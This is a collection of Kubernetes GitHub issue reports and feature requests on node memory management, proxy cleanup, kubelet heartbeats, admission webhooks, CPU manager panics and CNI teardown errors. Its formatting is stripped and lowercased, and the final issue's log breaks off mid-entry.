version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9\r .3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.5-gke.3\ , gitcommit:\ 6265b9797fc8680c8395abeab12c1e3bad14069a\ , gittreestate:\ clean\ , builddate:\ 2018-07-19t23:02:51z\ , goversi\r on:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: google kubernetes engine\r - os  e.g. from /etc/os-release : cos\r \r cc @joe-boyce

https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/util/threading/deadlock-detector.go l103\r \r lock, then unlock withour defer.\r \r  

follow up https://github.com/kubernetes/kubernetes/pull/12837 issuecomment-133111549  create an aggregatedvalidationerror type so that we could plumb the handling for validation errors all the way back to the caller.

forked from https://github.com/kubernetes/kubernetes/issues/14452...  we introduced qos concept and api to kubernetes 1.1 release, but lack of the support on node side to ensure qos. filed this umbrella issue for memory management for current known issues: 1. at node level, the only improvement was introduced is oom score based on the resource class. this means we fully rely on kernel sys oom to react. this is dangerous, which could put the node to totally unstable mode. based on my experience dealing with internal system, when sys oom is triggered, before kernel kills some processes, process kswapd might use 100% cpu on a node to reclaim some pages, which could include disk io too, thus. all user processes are significantly slow down.   you can overcommit on request or limit, but kernel sys oom should be prevented   2. this also means we should introduce a userspace memory manager to detect system overcommit on memory at run time. when memory pressure on the node is pretty high, and kubelet should proactively kill some lower  / pods. we don't have this for today.  3. docker doesn't do process tracking at all except root pid. this means if sys oom kills a non-root process in a container, container itself would be still running.  4. without userspace oom handling support, even kernel kills container's root process, kubelet might restart one to maintain sys oom situation.  5. today all containers are at root level, instead of using cgroup_parent based on qos. this means, the root cgroup is easily get oom-ed, instead, only some subcgroup. we plan to use cgroup_parent to improve qos for 1.1 release, but don't have time to really get on it.  6. docker daemon uses tons of memory, even with 1.8.2 release. there is no good way to limit / reduce docker's resource footprint today. currently it runs in a resource-only cgroup called /docker-daemon, and i limited it to 60% of node memory capacity.  7. other infrastructure daemons  kubelet, kube-proxy ' memory usage is scaled by workload. more work, more management overhead. we don't limit / budget them today. for 1.0 release, i put each one of them into a subgroup under root without limitation for monitoring / measurement only. we should have budget for them.  8. we don't control all nodes. this means there are tons of processes / daemons running as native processes on a given node, including sshd. for measnurement / monitoring purpose, i put them in a resource-only cgroup called /system without any limit. we should have budget for them too.  9. ...

i was taking a rough look at the code of userspace proxy and could not help wondering why we dont flush the inactive record of the proxier showed following  https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/userspace/proxier.go l437~l451  :          proxier.mu.lock       defer proxier.mu.unlock       for name, info := range proxier.servicemap {         if !activeservices name  {             glog.v 1 .infof \ stopping service %q\ , name              err := proxier.closeportal name, info              if err != nil {                 glog.errorf \ failed to close portal for %q: %v\ , name, err              }             err = proxier.stopproxyinternal name, info              if err != nil {                 glog.errorf \ failed to stop service %q: %v\ , name, err              }         }                 // adopt some stuff like                 // delete proxier.servicemap, name      }      is this intended, or did i miss anything?  sidenote: i'm aware that the  delete  operation of map doesn't actually flush the memory, which is not placed in the scope for this case.

feature request  \r \r when deleting a gke cluster the gce network load balancers created for any of the services with type loadbalancer to get deleted as well.\r \r   kubernetes version  \r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\r \ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\r \ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   gke 1.4.7  :\r -   gci image  \r \r   what happened  :\r deleting a gke cluster with services of type loadbalancer leaves the network load balancers in place leading to unnecessary costs.\r \r   what you expected to happen  :\r that all network load balancers pointing to the cluster get removed as well.

kubernetes version  : v1.5.1\r \r environment:\r -   cloud provider  : azure\r -   os  : \ ubuntu 16.04 lts\r \r we're trying to do some fail-over testing of masters. \r when a master is brought down via a hard stop eg. vm power off , existing agent-kubelet connections to that master hang until they timeout instead of disconnecting. as a result, the kubelet is not able to post the node's heartbeat and the nodes are marked as \ notready\  by the newly elected controller-manager.\r \r we were able to verify this behavior even in a single master scenario. should there be a keepalive from the agent?\r \r lastly, this behavior doesn't exist when the master is shutdown cleanly.\r \r some relevant kubelet logs:\r   feb 09 08:09:58   k8s-agentpool1-42247313-1 docker 4557 : e0209 08:09:58.704293    4702 kubelet_node_status.go:302  error updating node status, will retry: error getting node \ k8s-agentpool1-42247313-1\ : get https://10.240.255.5:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-agentpool1-42247313-1&resourceversion=0: read tcp 10.240.0.9:55790->10.240.255.5:443: read: connection timed out\r \r   feb 09 07:53:39   k8s-agentpool1-42247313-1 docker 4557 : i0209 07:53:39.480383    4702 round_trippers.go:296  get https://10.240.255.5:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-agentpool1-42247313-1&resourceversion=0\r \r \r @anhowe @colemickens

bug report\r \r   kubernetes version  :\r  1.5.2 \r \r   environment  :\r -   cloud provider  : aws\r -   os  : container linux by coreos 1235.9.0  ladybug \r -   kernel  : 4.7.3-coreos-r2\r -   install tools  : kube-aws\r -   other notes  : running ha masters - clustered etcd; api servers behind elb.\r \r   what happened  :\r all nodes dropped themselves from the cluster, nearly simultaneously.\r i.e., within the span of seconds, all nodes reported themselves to master with status  nodenotready .\r this happened in two independent clusters, installed in two different regions. \r there is no indication from any log  controller, kubelet, etc.  why the kubelet transitioned to  nodenotready .\r \r for each node, a entry similar to the following appeared in log of  kube-controller-manager :\r    \r i0217 14:19:11.432691 1 event.go:217  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-xx-xx-xx-xx.ec2.internal\ , uid:\ xxx\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodenotready' node ip-xx-xx-xx-xx.ec2.internal status is now: nodenotready\r    \r \r i have encountered similar incidents in the past, in which all nodes of a aws cluster would mark themselves not ready due to outages of an ec2 api  similar to  this  https://github.com/kubernetes/kubernetes/issues/41904   - no indication of that here.\r \r   what you expected to happen  :\r i expected minimally, a clear indication as to _why_ a node transitions to  nodenotready , both in the controller and kubelet logs.\r \r   how to reproduce it  :\r cannot say, other than running a cluster with similar configuration on aws.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r with  initializers  and  genericadmissionwebhook  enabled. when an initializer for a  pod  was registered and a webhook registered for operations  create, update  for  resources  pods  was created.\r upon creation of a  pod , the webhook was provided the action to allow/deny the pod before the initializer was allowed to initialized the pod.\r \r   what you expected to happen  :\r \r according to: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/api-machinery/admission_control_extension.md\r \r after initialization or on any update, these hooks would be invoked in parallel against the remote servers and any rejection would reject the mutation. this indicates that upon a creation of a resource of which an initializer is registered to initialize and a webhook registered to hook, the initializer should complete it's initialization before the webhook looks at the pod spec.\r \r   how to reproduce it  as minimally and precisely as possible   :\r ran a minikube cluster with the following config:\r    \r minikube start \\\r     --extra-config=apiserver.admission.pluginnames=\ initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota,genericadmissionwebhook\  \\\r     --kubernetes-version=v1.7.5\r    \r create a sample initializer for a pod, create a sample genericadmissionwebhook for a pod to hook creation, and always deny. create a pod, and the pod should be denied. logs of the initializer should show that it did not initialize the pod.\r \r    ➜  server17 git: master  ✗ kubectl get initializerconfiguration -o yaml\r apiversion: v1\r items:\r - apiversion: admissionregistration.k8s.io/v1alpha1\r   initializers:\r   - failurepolicy: ignore\r     name: imgpolicy.initializer.kubernetes.io\r     rules:\r     - apigroups:\r       - ' '\r       apiversions:\r       - ' '\r       resources:\r       - pods\r   kind: initializerconfiguration\r   metadata:\r     creationtimestamp: 2017-09-29t04:24:25z\r     generation: 1\r     name: imgpolicy\r     namespace: \ \ \r     resourceversion: \ 745\ \r     selflink: /apis/admissionregistration.k8s.io/v1alpha1/initializerconfigurations/imgpolicy\r     uid: 136fb4db-a4ce-11e7-9a83-0800273c45a1\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r \r ➜  server17 git: master  ✗ kubectl get externaladmissionhookconfiguration -o yaml\r apiversion: v1\r items:\r - apiversion: admissionregistration.k8s.io/v1alpha1\r   externaladmissionhooks:\r   - clientconfig:\r       cabundle: <<removed>>\r       service:\r         name: webhook\r         namespace: default\r     failurepolicy: ignore\r     name: pod-image.k8s.io\r     rules:\r     - apigroups:\r       - \ \ \r       apiversions:\r       - v1\r       operations:\r       - create\r       - update\r       resources:\r       - pods\r   kind: externaladmissionhookconfiguration\r   metadata:\r     creationtimestamp: 2017-09-29t04:32:24z\r     generation: 1\r     name: example-config\r     namespace: \ \ \r     resourceversion: \ 1433\ \r     selflink: /apis/admissionregistration.k8s.io/v1alpha1/externaladmissionhookconfigurations/example-config\r     uid: 30e7c69a-a4cf-11e7-b8dc-0800273c45a1\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r minikube version: v0.22.2\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-09-18t20:30:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r minikube 1.7.5 cluster, 1.7.5\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : mac osx\r - kernel  e.g.  uname -a  : darwin kernel version 15.6.0\r - install tools:\r - others:\r

when a pod is being restarted, the time it last restarted is very relevant  if it was hours ago, i don't care .  we should consider some information being presented about how recent the restart is.\r \r for example, real world example\r \r    \r $ kubectl get pods\r name           ready     status    restarts   age\r prometheus-0   5/5       running   30         21h\r    \r \r i don't know when the time of the last restart was.  in this case it was 15 hours ago, so the 30 restarts actually doesn't matter.  the age is 21h, but that's not very useful.  trying to find a middle ground would be useful.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r \r pull-kubernetes-e2e-gce  and pull-kubernetes-kubemark-e2e-gce both start kube-apiserver with admission  podpreset  and  priority   but without enabling priorityclasses and podpresets resources.\r \r we can see many error logs from https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/62359/pull-kubernetes-e2e-gce/30086/artifacts/e2e-30086-4a1170-master/kube-apiserver.log\r    \r e0410 23:01:20.801667       1 reflector.go:205  pkg/client/informers/informers_generated/internalversion/factory.go:129: failed to list  scheduling.priorityclass: the server could not find the requested resource  get priorityclasses.scheduling.k8s.io \r e0410 23:01:20.803839       1 reflector.go:205  pkg/client/informers/informers_generated/internalversion/factory.go:129: failed to list  settings.podpreset: the server could not find the requested resource  get podpresets.settings.k8s.io \r    \r \r

is this a bug report or feature request?  :\r  \r currently the  containerstatus  https://github.com/kubernetes/api/blob/8ab7c6a2fbd1724a52514855629cec31a8f86929/core/v1/types.go l2183  api object reports the image and image id, for example:\r    \r image:         gcr.io/google_containers/kube-proxy-amd64:v1.9.6\r image id:      docker-pullable://gcr.io/google_containers/kube-proxy-amd64@sha256:dd647b619b75882f217a21a6e2c473deb77cba1cfb20461da0084ed78d951af1\r    \r \r it's a not-uncommon practice for folks to include labels in their image metadata, for example vendor information or version control references that help link the image back to its source. i'd love to be able to get this information out of kubernetes in a single step without having to resort to scripting multiple tools  for example  kubectl get pod  to get the image id and then  docker inspect  to get the labels out of the image config . i believe that this is a common concept across container formats, for example this seems to be analogous to  annotations  https://github.com/opencontainers/image-spec/blob/master/annotations.md  in the open containers spec.\r \r as it turns out, the image label information is available in the docker api responses that are used to populate the  containerstatus  in  pkg/kubelet/dockershim/convert.go . i don't know if the same is true for other runtimes.\r \r i'd like to make an attempt at plumbing this data all the way up the stack so that it could eventually be exposed in  kubectl describe pod  or in some mystical future the k8s dashboard, but i'd need some help with what seems like pretty basic questions, like:\r \r 1. do folks agree that this is a potentially-worthwhile activity that they'd be willing to support? who could / should i ask questions of?\r 2. where would i start looking for documentation on how to extend the api? is it as simple as \ edit  core/v1/types.go  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/core/v1/types.go , run <something that calls  go-to-protobuf >, $$$?\  or is there more involved?\r 3. assuming i get something that seems like it could work, where should i go to learn how to write some integration tests, or if i wanted to see the smoke come out where would i go to learn how to build a cluster that uses the code from a local build?\r \r ps: i know that kubernetes assigns some labels to the container that represent the k8s labels and annotations and i'll need to filter those out somehow so they're not double-reported.\r \r pps: i expect that this would need to be broken up into a series of prs in order to be considered and reviewed efficiently. at the moment i'd be up for doing the support for docker, but i don't have any experience with other runtimes  yet  so i'd be pretty hesitant to go there. maybe someone with more experience will see this and get inspired?

http health probes do not support uploading client certificate s , or present a client certificate.\r \r when mutual tls is enabled between pods, the http prober cannot make a successful connection to the health check port. this is an issue in  istio mtls  https://istio.io/docs/concepts/security/mutual-tls/ \r \r this necessitates workarounds such as maintaining a separate non mutual tls health port. \r \r  \r   what happened  :\r http probe failed.\r \r   what you expected to happen  :\r it should be  possible to install  multiple?  tls certificates client certificate with the http prober.\r this client certificate can then be trusted by the health check port.\r \r   how to reproduce it  as minimally and precisely as possible   :\r require client certificate on the health check port. all health checks will fail.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r  server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.1\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-04-07t22:06:59z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:  gke google \r

is this a bug report or feature request?  : bug report\r  \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.11.2 rpm missing from https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r

hello!\r please add / create an official image of docker, which will contain kubernetes kubectl client.\r thanks!

https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/util/iptables/iptables.go l426\r \r \r do not pass a nil context, even if a function permits it. pass context.todo if you are unsure about which context to use.\r via https://golang.org/pkg/context/\r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r pod's are unable to communicate.\r \r    nov 20 14:12:30 test-node-09 kubelet-wrapper 1556 : w1120 14:12:30.493541    1556 status_manager.go:498  failed to update status for pod \ kube-apiserver-test-node-09_kube-system 944906ec-ecc6-11e8-ae4e-0cc47afc2098 \ : failed to patch status \  ...omitted patch data ... \ : pods \ kube-apiserver-test-node-09\  is forbidden: user \ system:node:test-node-09\  cannot patch pods/status in the namespace \ kube-system\    \r \r   what happened  : patch to pods/status is denied.\r \r   what you expected to happen  : patch operation succeeds\r \r   how to reproduce it  as minimally and precisely as possible   : start updating kubelet 1.10 to 1.11.3 without using kubeadm. \r \r   change hyperkube image from  k8s.gcr.io/hyperkube:v1.10.5  to   k8s.gcr.io/hyperkube:v1.11.3 \r   restart one node\r \r   anything else we need to know?  : the symptoms seem the same as in bug  52711 but we already use  --authorization-mode=node,rbac  successfully in the running cluster.\r \r the logs of node-problemdetector on that node contained the following\r     error from server: get https://test-node-09:10250/containerlogs/kube-system/node-problem-detector-btfth/node-problem-detector: x509: certificate signed by unknown authority   \r \r connecting on that node with  openssl s_client -connect test-node-09:10250  will present  a certificate chain rooted in a self signed certificate generated on that node\r     certificate chain\r  0 s:/cn=test-node-09@1542720938\r    i:/cn=test-node-09-ca@1542720937\r  1 s:/cn=test-node-09-ca@1542720937\r    i:/cn=test-node-09-ca@1542720937   \r this is different from the ca certificate set throughout  the rest of our cluster.\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.10.5  running \r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : container linux by coreos 1855.5.0\r - kernel  e.g.  uname -a  : 4.14.74-coreos\r - install tools:\r - others: no kubeadm!\r \r <!-- do not edit below this line -->\r 

example usage  details to be decided :      $ manifest-query -f mypod.yaml  -t {{.metadata.name}}      golang templates  http://golang.org/pkg/text/template/ pkg-overview  may not be sufficient because they don't handle all characters  e.g. there have been problems with /   the tool will be useful for: - bash scripts that have to manipulate yamls  e.g. for fixing  9849  - examples, e.g. here: https://github.com/googlecloudplatform/kubernetes/blob/master/docs/accessing-the-cluster.md without-kubectl-proxy  cc. @zmerlynn

i'm having trouble with kubectl bash completion.      $ _output/local/bin/darwin/amd64/genbashcomp /usr/local/etc/bash_completion.d/      error message when pressing tab:      $ kubectl -bash: _init_completion: command not found      i'm using bash_completion v1.3 from brew and kubectl v1.1.0-alpha.0.1417+c8177399965a6b

i created both a  /root/.dockercfg  and  /root/.docker/config.json  with creds  the json form is used by docker >= 1.8 , then created a rc which called to pull the private image. i can ssh into the minion and  sudo docker pull myuser/private:version  just fine.       mon, 05 oct 2015 15:20:17 -0400   mon, 05 oct 2015 15:20:17 -0400   1         api-ctrl-hryhz      pod                     spec.containers{api}                pulling            {kubelet 10.245.1.3}        pulling image \ docker.io/chiefy/private-image:latest\  mon, 05 oct 2015 15:20:18 -0400   mon, 05 oct 2015 15:20:18 -0400   1         api-ctrl-xub3l      pod                     spec.containers{api}                failed             {kubelet 10.245.1.3}        failed to create docker container with error: no such image mon, 05 oct 2015 15:20:18 -0400   mon, 05 oct 2015 15:20:18 -0400   1         api-ctrl-84dlp      pod                     spec.containers{api}                failed             {kubelet 10.245.1.3}        failed to pull image \ docker.io/chiefy/private-image:latest\ : image pull failed for docker.io/chiefy/private-image:latest, this may be because there are no credentials on this request.  details:  error: image chiefy/private-image:latest not found  mon, 05 oct 2015 15:20:18 -0400   mon, 05 oct 2015 15:20:18 -0400   1         api-ctrl-xub3l      pod                     spec.containers{api}                pulled             {kubelet 10.245.1.3}        successfully pulled image \ docker.io/chiefy/private-image:latest\  mon, 05 oct 2015 15:20:18 -0400   mon, 05 oct 2015 15:20:18 -0400   1         api-ctrl-hryhz      pod                     spec.containers{api}                pulled             {kubelet 10.245.1.3}        successfully pulled image \ docker.io/chiefy/private-image:latest\  mon, 05 oct 2015 15:20:18 -0400   mon, 05 oct 2015 15:20:18 -0400   1         api-ctrl-hryhz      pod                     spec.containers{api}                failed             {kubelet 10.245.1.3}        failed to create docker container with error: no such image

see:  https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/discovery_client.go l98  i think  unversioned.apigroup  should hold the api path associated with that group.  hiding the api path makes coupling usage of a dynamic client with discovery client difficult.  /cc @kubernetes/sig-api-machinery

hi guys,\r \r i tried to use the node affinity feature, but got the below error when i using  preferredduringschedulingignoredduringexecution  affinity type.\r    \r root@slave2:/home/zhangjian/testk8s  kubectl create -f nginx-deploy.yaml \r the deployment \ nginx-deploy\  is invalid: spec.template.annotations: invalid value: \ scheduler.alpha.kubernetes.io/affinity\ : json: cannot unmarshal object into go value of type   api.preferredschm\r    \r the below is my configure file. something else i missed? btw, the  requiredduringschedulingignoredduringexecution  works well.\r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deploy\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r           app: nginx-deploy\r       annotations:\r         scheduler.alpha.kubernetes.io/affinity: >\r           {\r              \ nodeaffinity\ : {\r                 \ preferredduringschedulingignoredduringexecution\ : {\r                   \ nodeselectorterms\ :  \r                    {\r                       \ matchexpressions\ :  \r                        {\r                          \ key\ : \ gpu/nvidia\ ,\r                          \ operator\ : \ in\ ,\r                          \ values\ :  \ geforcegt731\  \r                        }\r                       \r                    }\r                   \r                }\r              }\r            }\r     spec:\r       containers:\r       - name: nginx-deploy\r         image: nginx:jian\r         ports:\r         - containerport: 80\r    \r    \r root@slave2:/home/zhangjian/testk8s  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.2-beta.0.56+e80ebba218aa9c-dirty\ , gitcommit:\ e80ebba218aa9c70b110f0aeebe15e64006ceac5\ , gittreestate:\ dirty\ , builddate:\ 2017-01-12t05:17:16z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.2-beta.0.56+e80ebba218aa9c-dirty\ , gitcommit:\ e80ebba218aa9c70b110f0aeebe15e64006ceac5\ , gittreestate:\ dirty\ , builddate:\ 2017-01-12t05:17:16z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r currently in kubernetes, if i want to enable the docker host port mapping, i have to write the  hostport  explicitly in the yaml template and kubernetes cannot publish the host ports to random ports like docker does in  docker run -p .\r \r    yaml\r     ports:\r     - containerport: 2381\r       hostport: 2381\r       name: serverport\r       protocol: tcp\r     - containerport: 4002\r       hostport: 4002\r       name: clientport\r       protocol: tcp\r    \r \r this is not convenient for some customers who want to use docker's port mapping feature as the end user need to set the  hostport  by themselves and this may cause some port conflict especially when scale up a pod on same node. yes, we can workaround the scale up issue with  pod anti affinity  feature, but it is not convenient to let end user write those  hostports  for a large deployment with many exposed  hostport .  \r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

the resources managed by device plugin are a subset of the extended resources. the device plugin should only handle the resources managed by it, instead of all extended resources\r \r https://github.com/kubernetes/kubernetes/blob/2d1626028ed0d091008e65d7e379470a098942ff/pkg/kubelet/cm/device_plugin_handler.go l169\r \r https://github.com/kubernetes/kubernetes/blob/2d1626028ed0d091008e65d7e379470a098942ff/pkg/kubelet/deviceplugin/utils.go l57-l61\r \r  /assign @jiayingz \r /cc @vishh

is this a bug report or feature request?  :\r  \r   what happened  :\r when enable cpumanager by  --cpu-manager-policy=static ,  but not set  --kube-reserved  and  --system-reserved , kubelet will get panic error in log\r    \r i1214 03:22:51.865756   23951 cpu_manager.go:120   cpumanager  detected cpu topology: &{2 2 1 map 0:{0 0} 1:{0 1} }\r panic:  cpumanager  unable to determine reserved cpu resources for static policy\r \r goroutine 88  running :\r k8s.io/kubernetes/pkg/kubelet/cm/cpumanager.newmanager 0x7fff04c660c7, 0x6, 0x2540be400, 0xc420b96738, 0xc421442360, 0x497d024, 0x10, 0xffffffffffffffff, 0x0, 0x80, ... \r         /data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cm/cpumanager/cpu_manager.go:124 +0x65b\r k8s.io/kubernetes/pkg/kubelet/cm.newcontainermanager 0xa682480, 0xc420c17160, 0xa680780, 0xc4214109c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r         /data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cm/container_manager_linux.go:278 +0xb0e\r k8s.io/kubernetes/cmd/kubelet/app.run 0xc420496600, 0xc420ef1e40, 0xc42003be98, 0x1 \r         /data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:454 +0xc22\r k8s.io/kubernetes/cmd/kubelet/app.run 0xc420496600, 0x0, 0x10, 0x43dd620 \r         /data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:183 +0xfa\r main.newkubelet.func1 0xc4208697a0, 0xc420c28000, 0x0, 0x1b, 0xc420124600, 0x1, 0x10000a9f0280 \r         /data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/kubelet.go:45 +0x75\r main.  hyperkube .run.func1 0xc4201245a0, 0xc4208697a0 \r         /data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:216 +0x6d\r created by main.  hyperkube .run\r         /data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:215 +0x733\r \r    \r   what you expected to happen  :\r should graceful exit with error not panic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set  --cpu-manager-policy=static  and but not set  --kube-reserved  and  --system-reserved \r \r   anything else we need to know?  :\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/cpumanager/cpu_manager.go l122-l135

 \r \r   what happened  :\r \r during pod teardown, we sometimes see the following error-level kubelet logs:\r \r    \r time=\ 2017-12-20t15:42:07z\  level=info msg=\ released address using workloadid\  workload=mynamespace.my-cron-pz1b7\r calico cni deleting device in netns /proc/115577/ns/net\r e1220 15:42:09.401448    1396 cni.go:278  error deleting network: failed to statfs \ /proc/115577/ns/net\ : no such file or directory\r e1220 15:42:09.554117    1396 remote_runtime.go:109  stoppodsandbox \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ my-cron-pz1b7_mynamespace\  network: failed to statfs \ /proc/115577/ns/net\ : no such file or directory\r e1220 15:42:09.554162    1396 kuberuntime_manager.go:784  failed to stop sandbox {\ docker\  \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\ }\r e1220 15:42:09.554192    1396 kubelet_pods.go:920  failed killing the pod \ my-cron-pz1b7\ : failed to \ killpodsandbox\  for \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  with killpodsandboxerror: \ rpc error: code = 2 desc = networkplugin cni failed to teardown pod \\\ my-cron-pz1b7_mynamespace\\\  network: failed to statfs \\\ /proc/115577/ns/net\\\ : no such file or directory\ \r    \r \r   what you expected to happen  :\r \r clean pod shutdown, no error-level logs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we've got two kube crons that run every minute, across 12 regions in production -- so 34560 related pods daily -- and we see this about 3-12 times per day.\r \r   anything else we need to know?  :\r \r relevant kubelet log context of a cron pod that manifested this error:\r    \r i1220 15:42:02.636144    1396 kubelet.go:1808  syncloop  add, \ api\  : \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ \r i1220 15:42:02.824020    1396 reconciler.go:242  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/host-path/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-etc-ssh\   spec.name: \ etc-ssh\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  \r i1220 15:42:02.824039    1396 reconciler.go:242  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  \r i1220 15:42:02.824205    1396 reconciler.go:242  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  \r i1220 15:42:02.924419    1396 reconciler.go:318  mountvolume operation started for volume \ 